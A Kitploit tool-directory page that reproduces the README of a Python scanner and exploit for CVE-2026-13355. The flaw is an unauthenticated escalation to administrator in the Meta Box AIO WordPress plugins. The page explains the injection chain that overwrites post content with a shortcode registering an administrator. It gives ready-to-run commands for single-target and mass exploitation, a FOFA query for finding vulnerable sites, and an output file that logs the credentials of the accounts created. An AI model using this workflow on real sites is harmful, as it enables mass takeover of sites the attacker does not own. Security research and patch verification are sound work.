Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-13355 — Python PoC scanner and exploit for CVE-2026-13355, an unauthenticated admin privilege escalation in Meta Box AIO WordPress plugins, with FOFA mass scanning. | Kitploit
Tools/GitHubGitHub/murrez/cve-2026-13355
Privilege EscalationReconnaissanceVulnerability ScannersExploitationScripting & AutomationWeb Application ExploitationInformation GatheringWeb SecurityPenetration Testing
GitHubmurrez/cve-2026-13355

CVE-2026-13355

Python PoC scanner and exploit for CVE-2026-13355, an unauthenticated admin privilege escalation in Meta Box AIO WordPress plugins, with FOFA mass scanning.

31 day agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository

CVE-2026-13355 — Meta Box AIO Unauthenticated Administrator Privilege Escalation

Python 3 proof-of-concept scanner and exploit for CVE-2026-13355 in the WordPress bundle Meta Box AIO (and related MB Frontend Submission / MB User Profile extensions).

PlatformWordPress plugin
ComponentMeta Box AIO
AffectedMeta Box AIO ≤ 3.11.0; MB Frontend Submission ≤ 4.5.6; MB User Profile ≤ 3.11.0
Fixed inMeta Box AIO 3.12.0+ (Form::process() authorization)
CVSS9.8 Critical
AuthUnauthenticated
CWECWE-269 — Improper Privilege Management
Researcherh0xilo (Wordfence)

Summary

Chained flaws in two bundled extensions allow unauthenticated administrator account creation:

  1. MB Frontend Submission (mbfs) — rwmb_frontend_field_object_id overrides the form target without auth; Form::process() omits user_can_edit(), so attackers can wp_update_post() and overwrite post_content on arbitrary posts/pages.
  2. MB User Profile (mbup) — Injected [mb_user_profile_register role="administrator" auto_login="true"] shortcode attributes are trusted without role validation.

Important: The exploit chain requires a public mbfs (frontend submission) form, not login-only mbup forms. Many FOFA hits only expose mbup login/register UI — those are flagged as plugin_mbup_only, not exploitable via this chain.

Requirements

  • Python 3.8+
  • pip install -r requirements.txt

Quick start

root@kitploit:~
pip install -r requirements.txt

# Single target — check (live terminal flow by default)
python poc.py -u https://target.example --mode check

# Mass check (one line per target unless --quiet)
python poc.py --list targets.example.txt --mode check --threads 20

# Single target — exploit (needs mbfs form URL + post ID)
python poc.py -u https://target.example --mode exploit \
  --form-url /contact/ --object-id 12 --verify

# Mass exploit from check output
python poc.py --list candidates.jsonl --mode exploit --threads 5 --verify

FOFA → target list

Example query:

root@kitploit:~
body="/wp-content/plugins/meta-box-aio/"

Normalize a FOFA CSV export:

root@kitploit:~
python fofa_to_list.py -i fofa_export.csv
# writes list.txt + normalized CSV (local only, gitignored)
python poc.py --list list.txt --mode check --threads 20

CLI options

Output files

Use --vuln-list exploited.txt on exploit runs so check hits in hits.txt are not overwritten.

Check status values

Exploit notes

  • Poison step POSTs post_content through an mbfs form with ?rwmb_frontend_field_object_id=<id>.
  • Success requires the injected shortcode to render on the poisoned page (no strip/KSES, patched plugin, wrong form type).
  • Contact/newsletter mbfs forms often lack a real post_content field; overwrite may still fail in practice.
  • HTTP 403 on POST usually indicates WAF/host blocking.

Repository layout

root@kitploit:~
.
├── poc.py
├── fofa_to_list.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore

Local scan lists and run artifacts (list.txt, fofa*.csv, *.jsonl, hits*.txt, …) are in .gitignore and should not be committed.

References

  • NVD — CVE-2026-13355
  • Wordfence advisory
  • Meta Box AIO changelog

Legal

For authorized security testing and education only. You are responsible for compliance with applicable laws and program rules.

Download Tool
OptionDescription
-u, --urlSingle base URL
--listURL list, FOFA-normalized CSV (url column), or candidates.jsonl
--modecheck or exploit
--form-urlPage with [mb_frontend_form ...] / mbfs-form
--object-idPost/page ID for rwmb_frontend_field_object_id
--pathsExtra paths to crawl for frontend forms
--username, --email, --passwordRegistration credentials (exploit)
--shortcodeInjected post_content payload (default admin register shortcode)
--verifyConfirm via /wp-admin/ or wp-login.php after register
--flowStream one line per target on mass runs (default with --list)
--no-flowProgress summary only
--quiet, -qMinimal console output
--threads, -jMass concurrency (default 15)
--outputJSONL log (default cve_2026_13355_results.jsonl)
--vuln-listText hits / exploited lines (default hits.txt / use exploited.txt for exploit)
--candidates-listCheck metadata JSONL (default candidates.jsonl)
FileModeContent
cve_2026_13355_results.jsonlbothFull JSON per target
hits.txtcheckURLs with candidate_mbfs
candidates.jsonlcheckform_url, object_id, version hints
exploited.txtexploiturl|user|email|pass|oid=…
StatusMeaning
candidate_mbfsPlugin present + MB Frontend Submission form found (exploit may be possible)
plugin_mbup_onlyOnly User Profile login/register forms — not this CVE chain
plugin_no_frontend_formsPlugin fingerprint, no rwmb frontend forms discovered
patchedVersion above affected range (when readable)
no_pluginMeta Box AIO / extensions not detected